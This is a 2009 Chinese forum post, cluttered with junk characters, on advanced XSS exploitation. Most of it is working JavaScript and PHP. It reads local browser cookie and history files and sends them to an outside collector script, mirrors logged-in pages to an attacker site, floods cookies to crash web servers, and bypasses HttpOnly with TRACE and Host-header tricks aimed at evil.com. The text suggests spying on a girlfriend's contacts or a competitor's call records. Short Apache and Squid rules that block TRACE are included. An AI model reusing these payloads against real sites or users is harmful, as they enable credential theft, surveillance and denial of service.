XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页- p2 n, M9 d" c4 F. n$ m$ I
本帖最后由 racle 于 2009-5-30 09:19 编辑
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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转帖请保留版权
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-------------------------------------------前言---------------------------------------------------------0 P7 x7 q. T2 U3 b l5 G$ K
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) C2 Q+ W; Y, |3 n8 x本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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& Z/ [. h# r& w/ S; z k# E如果你还未具备基础XSS知识,以下几个文章建议拜读:: g( d8 l% o, \
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
! C! h' L! C: F7 p7 k# k) Ohttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全1 H6 t" o+ m `5 d4 k& b
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
7 y( A; w+ U( v3 o4 ^5 ~http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
0 ?1 `, o: k' ]0 l9 ihttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
6 r* _; ]) i1 P, G B: phttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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' h+ Q9 O9 z* h# c2 B" ?4 F; U希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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, s; Q0 O3 x# @如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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: y* m! ^* ]- w) |& l1 ]Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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QQ ZONE,校内网XSS 感染过万QQ ZONE.
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0 {* x O" E2 f. x' qOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪$ [2 s" v0 [/ K+ x. \: B! @ M/ v
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复制代码------------------------------------------介绍-------------------------------------------------------------) f: w# y/ n1 C- C' T
) o) `; ~4 r, i% g+ `- y2 W' s) T什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.9 X! J& s& q) s8 s, q6 r4 [+ S8 Y1 H
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* h: Z4 u% y( w( m% E g' U跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
/ p/ ?+ X7 f5 M: W) N复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
' e0 K4 h3 ?+ [2 e: ~2 K我们在这里重点探讨以下几个问题:
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, L- Z5 [2 {( S5 O1 通过XSS,我们能实现什么?$ Q7 o$ m% \- a9 }6 F
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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4 XSS漏洞在输出和输入两个方面怎么才能避免.
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1 ]- ?8 T& \9 A0 G------------------------------------------研究正题----------------------------------------------------------
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0 k7 v `% y5 F通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.! r, f# F f/ j5 w2 J, a
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫5 U, S: g+ Q! t. P1 h
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
' H) g+ ]: v$ Z4 p! H. h j. t1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则. B& S9 _' d5 z: M. S2 B( I5 E
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
0 j4 x: [5 S: }% R3 b& |" ~3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
. ^$ n2 B3 b! _1 G4:Http-only可以采用作为COOKIES保护方式之一.
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. X- v& B) _) o(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)/ U' d* { a- [5 O& Y
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!); @8 {: [. @& O
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; f6 g! Q% | E1 ? 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。) I, Z$ }1 I+ ^% C# {5 M$ M* ~
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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( I9 V8 T- {) v' x# r5 w 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
0 |, N8 Z, @6 ^1 ]: v复制代码IE6使用ajax读取本地文件 <script>
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function $(x){return document.getElementById(x)}
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function ajax_obj(){" E% B, h3 F o( a+ Q: @
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var request = false;
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if(window.XMLHttpRequest) { U0 ~" W K" U" |" Y' T
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3 A2 X! R0 B" A$ a* M1 t var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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for(var i=0; i<versions.length; i++) {
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return request;, c% ?+ y* i' p. z3 _+ `3 Y, d( H
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}
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_x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);% h' j5 s" F% v0 G {3 B% d
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return _x.responseText;
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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alert(txt);
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9 L7 h2 `/ H3 w' x </script>
: b9 V6 ?- q3 }4 l C* F复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>! ?" {& m& z7 j, V) A
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function ajax_obj(){
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request = new XMLHttpRequest();) V- w ]. l: G, l0 ]" q* l9 N
5 `* v F/ A, y! @4 Y. g6 X } else if(window.ActiveXObject) {, Z2 [! s. v' w+ ~) P, Q
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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$ j# O8 b8 y* X1 T3 B 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {9 I( Z. R7 a0 N2 C8 n" l) O
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try {1 \! W5 |" A/ F$ g4 ^& H9 U/ o
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} catch(e) {}0 P4 d* z2 |$ Y# Z/ l# T; i
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}
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return request;
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var _x = ajax_obj();
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");9 L I q3 V% C& k
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_x.send(argv);1 ?) F* H* G( E' u h* y& T2 B" g3 i# `
0 i6 n6 L* a7 z return _x.responseText;3 |4 {% k. q- V j/ z6 d) H# I$ J
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}
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& ]8 _' n8 G' h var txt=_7or3("GET","1/11.txt",null);
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alert(txt);
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</script>
+ w- X$ V! W1 l! z1 Y复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”0 R% R7 l7 u) l$ E: r
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Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"5 M9 L$ Y* Y: D. Q% v, z
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<?
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/* " O3 D6 h- @0 r
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Chrome 1.0.154.53 use ajax read local txt file and upload exp
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author voidloafer@gmail.com 2009-4-22
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: O5 e* J: U/ E: ^$ s9 B http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. 3 `9 B9 r: K8 I/ f7 N9 p' z8 T
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*/ ( e7 \. |* G& z0 O: I
7 i5 u; O0 i$ r" Nheader("Content-Disposition: attachment;filename=kxlzx.htm"); $ z! I4 ?* Z; p( ?* I8 a
' U: n0 X% h# x* sheader("Content-type: application/kxlzx");
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/*
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8 O' w7 n! k6 \, Q+ K2 [ d set header, so just download html file,and open it at local.
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*/
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; e, u4 e a: F6 _" M S<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> ) \0 A5 L/ v9 o7 ?( y2 ~6 d
$ L2 G, O* | A6 _% L- @" }* g5 } <input id="input" name="cookie" value="" type="hidden"> ( i- X+ d% V/ g$ m. J
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<script> . T& ~3 K" d" {( a6 S+ H. H
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function doMyAjax(user) ) F. m& [' f4 F! g" T* w
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{
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var time = Math.random(); # t' a5 e0 I5 N: }
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/* + M7 [ u1 q1 v
( W, u+ X" F' @1 S/ s% ?the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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and so on...
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; 0 W$ H( y+ H4 ?9 H2 R0 S# w! f
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startRequest(strPer); 1 k6 N0 J; j7 s1 ^
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+ G# a6 u. [, u* d5 M/ Q+ p. Q) {* k& N* I6 ~% h0 e
function Enshellcode(txt) 5 D$ W+ y! S7 a
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var url=new String(txt); / E- f" _: K/ R
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var i=0,l=0,k=0,curl="";
/ U2 J7 j* ]6 f/ k3 m* e; _
- _, k" {. f5 E. f r0 H ~l= url.length;
, p0 a; Q) [2 L/ X# O; w% n2 P, r' r# e& |; j# e7 E4 o# A3 m
for(;i<l;i++){ & B7 D/ f2 t! t% q% T" p& z* x- F
# Y. t2 i* R: l% s* r
k=url.charCodeAt(i);
9 z n) R5 D! c! d, S8 L$ @! |+ q# k, d7 ?% @+ L
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} ! h8 Q9 P7 G0 B$ H
' \* `7 U, ]. hif (l%2){curl+="00";}else{curl+="0000";}
) H) P" Q* G6 {/ R/ |% @, A
7 U3 ?1 s: v/ m2 Acurl=curl.replace(/(..)(..)/g,"%u$2$1");
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return curl; J& c* J! J9 e4 z5 F
% m. d$ N/ L6 X: _0 F
} 6 E, A3 L( H" R, E% ~
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% F; H8 A8 I" v: @7 L- ~ d P: o+ B
# I2 d( j9 g; Q( w. [8 l
9 f8 J8 t8 u6 {! ovar xmlHttp; , H# t# C- X j9 I) F
$ f# L q# R7 Z$ Y O+ ]function createXMLHttp(){
. s- I& Q' T* [; l
2 h) p& k# T: s- u6 h/ w+ M if(window.XMLHttpRequest){ # W7 B& {4 j, p% p5 y' o, n
/ E( H& i( M; I [xmlHttp = new XMLHttpRequest(); 9 U7 G3 u* K- h% L8 W+ g
/ u! K( F, @0 m! K* ^' e
} 6 l6 n( a# W( u7 s9 Q7 z- S& D
) i9 [4 b/ Z+ n& V
else if(window.ActiveXObject){ % y) q: v! {9 P$ B. a
) p Y* U6 F" S8 y( \xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 6 }/ s% i9 \/ \7 V
+ o8 g6 h4 U9 T2 o! {6 b
} [( U6 k* T, r) O6 v9 P
2 E& W5 ]3 v6 `& k0 j# ^ ^6 a; S}
0 l( E. q8 S: Y7 _" N
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function startRequest(doUrl){
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8 y* O4 k3 I* n7 X* ?& p6 G
2 O) k* f2 I* x9 B
p( }. m" N F* x createXMLHttp(); 7 c! E5 o/ {9 H9 k8 @0 b6 V
2 i) ]7 ~. F1 _) k+ ?! M+ P
! D7 k, V8 i3 p" h/ N
* W- I" T) O# I xmlHttp.onreadystatechange = handleStateChange;
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xmlHttp.open("GET", doUrl, true);
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7 w2 n8 d) M L. ]6 d% n; G# u/ G
9 W4 g- w' ?: T, @. }5 X xmlHttp.send(null);
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}
( {( Q8 u1 c& n+ p3 M& a7 c: L# [9 A0 B
; c+ u# A+ f& D& q( R0 }- N: {, ]
3 _/ |9 h) F, j, t+ Q) S* n5 afunction handleStateChange(){ 3 z6 v! ]) s! V" ~, A! s
. |# U5 {3 ~+ j, [# V/ K( A0 g if (xmlHttp.readyState == 4 ){
2 N9 b# s! L4 u+ N' m1 G# {/ S0 j3 j. q" K
var strResponse = "";
& c B8 q; J5 H/ H% a' D4 \. \# E4 q [: M, G* p0 U" S6 N
setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); $ w: Z9 z8 A5 x# X1 |
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+ v1 C% i" P0 V* M5 c
} $ A6 G: v) ~! `# [& \
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}
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9 q9 m( @& {9 g+ D- `
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) k1 K$ t) k$ ]+ o/ w2 u) U( j1 F. }* ~5 a, k
function framekxlzxPost(text) ' c) d" t. E* M) {) C
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{ ! S8 m6 O6 c9 Z. W3 ~" s& J& m& a
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document.getElementById("input").value = Enshellcode(text);
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document.getElementById("form").submit(); 8 [ f8 M1 Y) E+ q6 V0 z; {
! n. l/ Z3 J* }0 E/ a8 O}
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doMyAjax("administrator");
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+ n2 D2 |$ I% W' F8 S: ?: f3 X</script>
+ Z2 \% x6 a% @4 h+ u; q复制代码opera 9.52使用ajax读取本地COOKIES文件<script> % m' I' D6 }+ j- k8 @* x
5 F5 Q6 B5 I( Y. ^$ Q- p) O. kvar xmlHttp;
7 z; [' w, F; m
! q% B7 q7 t! i* \* P' a, |. q( Ofunction createXMLHttp(){ 9 T$ _% S3 y' o) G4 E) k3 X, x
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if(window.XMLHttpRequest){ _ H5 M4 |6 s6 F- b, Q% ~
8 j: Q0 H0 ?) W8 p6 h& n
xmlHttp = new XMLHttpRequest(); $ n8 x m6 E9 w. y) U
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2 A2 m$ S8 S5 b. A. M, j, w
else if(window.ActiveXObject){ - S8 z% [, ^9 Q3 z1 \) n2 x
( L- S! W5 p' E2 a8 t7 ^$ \4 c8 m xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
1 G; p( q5 x9 }1 }% {- I- y- j/ ]9 a. M: f# D
} z( {( ]4 h7 T- r& d2 b) S
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} - u# M/ @: z3 |2 {1 c- k/ _
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+ s. C3 n; ^ x5 L6 Xfunction startRequest(doUrl){ 8 F' I' p! \; z& ]) M1 F# w( E: R4 k
9 b( e% W6 G' G2 I& A
# g- J$ ~: Z* @! s$ ]3 M+ y
4 \) [6 h8 B: R( z createXMLHttp(); I3 L' i$ j# C) c, `6 f
8 k5 F) Q0 N$ f6 ^6 Q& i. V
) C5 Z' P( j4 Y+ m6 [
4 i, [8 i" i5 _# O/ i xmlHttp.onreadystatechange = handleStateChange; : [. G0 v3 ]6 n2 [4 t" q
+ x( n( z9 |' d C( Y. T
+ X( S. E ]+ u5 }6 J6 F
; X" T9 x( r1 m; r# n( F xmlHttp.open("GET", doUrl, true); ; x2 Y: m3 i" b0 R; |/ |
+ \/ o, V/ _+ M) N7 e
2 e4 K" v7 @: ^3 t3 ]# L6 | J( W: C+ I" t# V: {% I5 Z
xmlHttp.send(null);
' R7 @5 Q; F' m/ q% }$ m/ t( S
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}
! i9 a4 t1 v# E7 ~2 i" R5 r/ r) W( }5 g- e# k
2 d! y. t* C& b( T
# n' _. H/ n/ h& ofunction handleStateChange(){ ( }" Y; r: {3 e
N1 H6 v" G* ^ if (xmlHttp.readyState == 4 ){ $ _$ O' }$ c3 q* `6 b! J; e6 O
8 R% b1 C/ Z* q" y' r
var strResponse = "";
6 Z& W0 N/ x4 y7 C4 g
/ i5 y) z2 a! b setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
6 G% L0 b( V: z- v/ d5 N! i
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} . R- B3 [( N [0 x. H7 P; `( A
% @9 ]8 A, ]" [: e( H
}
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3 q. ]0 ?# d0 g/ N
3 o# W5 _( O- G; C, b5 ?8 g; mfunction doMyAjax(user,file)
0 q) p8 E+ B: R( `1 ?# s7 F) W$ y# e
{ - d+ ?; a4 n9 q' R, L) c
5 Z" G G' h7 p) o: r6 f var time = Math.random(); , g }: {6 [2 o& {4 ]
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! o! B( H; W+ g, w4 v" |2 G; U var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
: v0 F$ {' \* D+ `' k) u3 V k! v* [$ ^- O* t9 N! ?6 t" d5 B" {
0 E1 x+ f0 R. Q% O& ]
1 s8 F6 V7 e2 t" f% ^ startRequest(strPer);
4 L' R& C/ w2 i* f/ Y2 |
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3 j3 x+ |' }+ C1 x0 g5 M9 l}
& f/ l# m7 N( j }% P! e( g" S9 k5 o/ w: f7 R h' U/ M# K7 ~* T* E9 y
" B2 [' ^% e% b! h7 u" D5 J0 y
4 e' w/ _6 P. qfunction framekxlzxPost(text) % Q/ i( p4 o! n2 L6 T2 {
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, C( Y5 Y4 |. |8 ?/ ~ document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
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alert(/ok/); ( Y# d% k( ?9 ~! |# V+ M
+ [; }' r9 ?$ |3 ~9 A( ^ b- `6 q
}
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+ l/ [+ K( T7 J
doMyAjax('administrator','administrator@alibaba[1].txt');
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4 Z" S! X+ W) k8 p</script>
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C. ^) T$ X, D- y; c. ^
5 a; g9 O3 @3 |7 q* F8 S2 X9 S
a.php5 n% w: O9 i% z2 b6 f4 i3 Q
8 C7 j7 _) j6 c, w* L- W
. |6 @3 l- G( c' u s+ W
1 C" \1 ~1 O/ q9 g7 r5 q<?php
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) s& _) v; ~" V1 Y+ P$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; ( R; S! H5 _: A: ]+ ^4 n( r" U
. s K1 X9 Y* H8 g" g9 I0 M0 o0 n8 q
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; 1 g. [# N$ H9 `6 h( f$ Y# A
% R' v8 }7 r- j8 q' g; u3 I4 _3 N
( _% g; Y1 \) B( H; w8 `$ \
2 g3 x+ U- E5 q$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
. z) T' X3 E- n" b! t0 v# q0 X: ^2 I5 ~$ M
fwrite($fp,$_GET["cookie"]); 1 }6 R0 t/ k. B m7 q a! ^
& _) f, e2 @- x' V2 X$ ?; _fclose($fp); 9 ~2 c. ]1 }7 p
8 o# R3 D6 @1 Q: G& y! ~; l. S
?>
$ N; o7 f2 F1 M. v" e6 y复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
2 w5 C+ p8 O2 H& c, T) f4 b6 m5 ^7 S, w, n7 p
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
' G& u# }+ s9 F1 Y# L8 |8 R6 J$ n) z% }利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.8 a4 t0 K0 b1 U1 y# l, e! j
+ r1 A- n+ @, T. t9 l代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);% G2 Z7 A* W& M8 X" |5 E
2 i# } w% R7 X$ F& V4 G& ^
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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4 O2 U9 g7 U3 U2 a* L0 N//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
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6 o$ o- {' `- Z5 \' \# }) Ofunction getURL(s) {0 N, M) o3 \4 M# g9 E
2 Q, ?% f! d% s) ?- a2 c
var image = new Image();4 H" [5 W+ |2 S; W
9 J; G! t; d. y" d" f5 D0 @' h g3 B
image.style.width = 0;
/ E. Q/ s' h# q# A% b& [
- ^ e, R" ?2 d& l! F9 h- Wimage.style.height = 0;! s7 {' A/ h4 W* T/ h
5 P+ f6 v0 x( B: X9 Himage.src = s;0 _- n- U* P* B) n
6 q9 y. c( q: k* X7 O+ A# z d}( k6 a+ {9 z/ N( F. k( L
! A, \6 J6 O' z: S3 X* h# AgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
3 ?& M3 ~) r4 o复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
& i# i" D; d5 ~3 M7 J6 B- K这里引用大风的一段简单代码:<script language="javascript">+ M( @/ r i% C6 e+ @3 f2 t
+ E0 q* h* ?4 U# d, I3 @. s
var metastr = "AAAAAAAAAA"; // 10 A$ A/ |9 F* P$ u* ?0 n# X4 b7 ]6 n
2 k v$ p5 O: vvar str = "";
1 O* ]" l' f5 R; m4 n
9 n8 g6 {7 p! u+ Kwhile (str.length < 4000){
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str += metastr;
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6 d$ ]! n1 A: M) J' H' ~: O5 `! ]1 c
% M! M5 z9 c8 \3 k0 s8 h( [document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS1 V" F$ g. D; R( }
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</script>" Z. Z( O0 o: Z- w( T( Y* R
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html1 _+ b" A$ @3 Y7 S4 I `; H; R
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
3 ]; @- z3 z2 N0 B" qserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150' R1 l! b3 p, H+ V
* ^) ]+ t+ K, e! r. v# ?
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.( u2 f3 e9 c8 A" P. i1 Q; j4 M& x( d
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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(III) Http only bypass 与 补救对策:
% ~- T, |2 x; P3 E6 F; ]
% }; Q' Q9 b% f; ]1 r, j' V* D什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
- x4 ^% n" b' K5 q以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
. R/ D) A* I, y2 t6 d3 I8 {+ ]( M4 ^- C- ^# W. W& T
<!--
: _9 h9 H2 p( m. r) r* j# \
' f3 [3 ^8 O _2 j) `1 \! @8 |1 q: U8 \function normalCookie() {
( i; `) t: [2 w: h" }8 }
# ]% i6 T) M; ~, o% K& \! F5 [document.cookie = "TheCookieName=CookieValue_httpOnly";
, i" y4 v% J) ~9 i; V
4 T. C" n# l) [alert(document.cookie);
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}7 V1 A+ }$ q, M1 C2 j8 t3 `* _
- `2 e! l4 \ A& B0 f s1 c0 q4 N$ a( @# M! `
( Y% ?$ \" U* Y& o j- M
3 ?4 W6 H# H/ I9 @) a9 H7 w1 O
2 s1 b, b0 K( E5 L+ ~7 ^function httpOnlyCookie() { " ^( Z: i$ d% X, g* ^
5 J' J# ?" t4 q7 O. b) M1 D! W6 ~document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
6 h% L7 M7 p9 k- h; O6 H2 K2 R0 L8 k) G6 s- O
alert(document.cookie);}
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: V" }) ?# q% I2 b& ^: E% ^9 N$ q9 j8 }6 G
//-->
$ O9 s3 x' b' E! ^9 c |! x
4 ~' V e% A C* B9 @: v</script>! ^: x7 p- B; G
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: K2 r8 s* P" Q5 k: E/ U- u/ L<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
9 J9 }$ Z/ w" C
0 ]( L( F: ~4 Z4 \% z" u<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
x/ y2 E/ Z, t9 H复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>. X$ u/ [& m4 v5 `
; d" x8 {$ I* {3 \& z' [
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! Y) n" o, G) \
var request = false;5 u$ e: h$ a0 o. q
4 p8 X# \0 ^) `
if(window.XMLHttpRequest) {
9 }. ]9 m0 W' T% @7 D. z# Z1 S8 B" a& u% R' T
request = new XMLHttpRequest();
% A$ ^9 o8 D! ]; F# o
2 O1 ?, D$ ?; v4 P/ h if(request.overrideMimeType) {
! w- @* _' G! U/ x4 v9 v% i5 }: x1 X9 a% |; o+ e7 D8 B, }
request.overrideMimeType('text/xml');
0 i- I0 ~9 r' d' ^& S& b
( T" ~3 p# [* a+ z+ [& r. L }
2 m9 T: B. n, `8 l
7 s) |0 M- |- g } else if(window.ActiveXObject) {& c- @% S- Q. b* K$ C# W* U
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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) I8 C R) S4 A5 K, x1 n) L for(var i=0; i<versions.length; i++) {2 {. K: Y5 H5 f0 z
, K% X0 a, m) z
try {) a- y4 @) E% g3 z, }7 X
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request = new ActiveXObject(versions);
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} catch(e) {}& ~% l$ \. v; F/ ^+ @7 z. X
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xmlHttp=request;% S% p% k5 @; t/ ]
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xmlHttp.open("TRACE","http://www.vul.com",false);
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2 ]$ ?) ^* U7 d6 f0 D7 JxmlHttp.send(null);
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3 @% h6 y3 V7 J: b- o: R! axmlDoc=xmlHttp.responseText;$ B0 V( Q7 k2 @7 C$ {
- u" y4 F) |( B8 t) `7 kalert(xmlDoc);
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3 E- ]: P9 u' ^6 F% K</script>8 b; z4 a( N+ ^
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script># G9 j8 V: {9 q
/ [9 k4 u% _8 ` L! |# ]var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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r- n& o# t% C+ Y0 XXmlHttp.open("GET","http://www.google.com",false);
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9 p8 v* x ~. s# b1 L8 EXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");# `! k! ]( ?7 u7 S% h0 g
( C: \+ h% `/ \' t+ L7 KXmlHttp.send(null);
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var resource=xmlHttp.responseText
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9 \3 N l6 e! k! [2 Z# _resource.search(/cookies/);1 W; M/ u4 e6 j% Z/ E4 p: Q( o
% y4 O3 w1 {# \......................$ s% d5 `7 d8 }' ^4 Q) c- Q
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</script>
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/ }$ P: U; [5 {7 K5 ?0 @9 G6 h# m* C1 B+ q
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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[code]5 ^. z- ]. Z1 u
, w( }, s# l! WRewriteEngine On7 r+ ?4 m, w" J! @
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RewriteCond %{REQUEST_METHOD} ^TRACE5 b) d! r5 X& [) w8 K( D' m# r
% A6 N- Q# L) Y6 y( PRewriteRule .* - [F]& w& N' W# `3 ?1 k
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Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
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7 Y+ T [4 E! q; C/ hacl TRACE method TRACE
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...
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2 T- {; ^5 W: rhttp_access deny TRACE) X% F5 Q7 V8 O* ^1 Y- l' F
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>& s6 a4 w1 [& g5 L) V6 B6 O
. U& c. S+ J4 r2 e1 }; @var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);
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( \$ {* @( D6 A0 R: nXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");& F# N% I9 I% }6 f( ? X g
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XmlHttp.send(null);* {/ A8 ]; |; ?$ m: i2 ]
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</script>
I+ M! h' Q* G$ d9 {: i3 N N) ]+ `复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>1 R- i4 q. o0 w- S$ \! `
; E/ u9 @( x! w" l6 s/ ?var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");1 Z) {2 |; X8 l
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XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
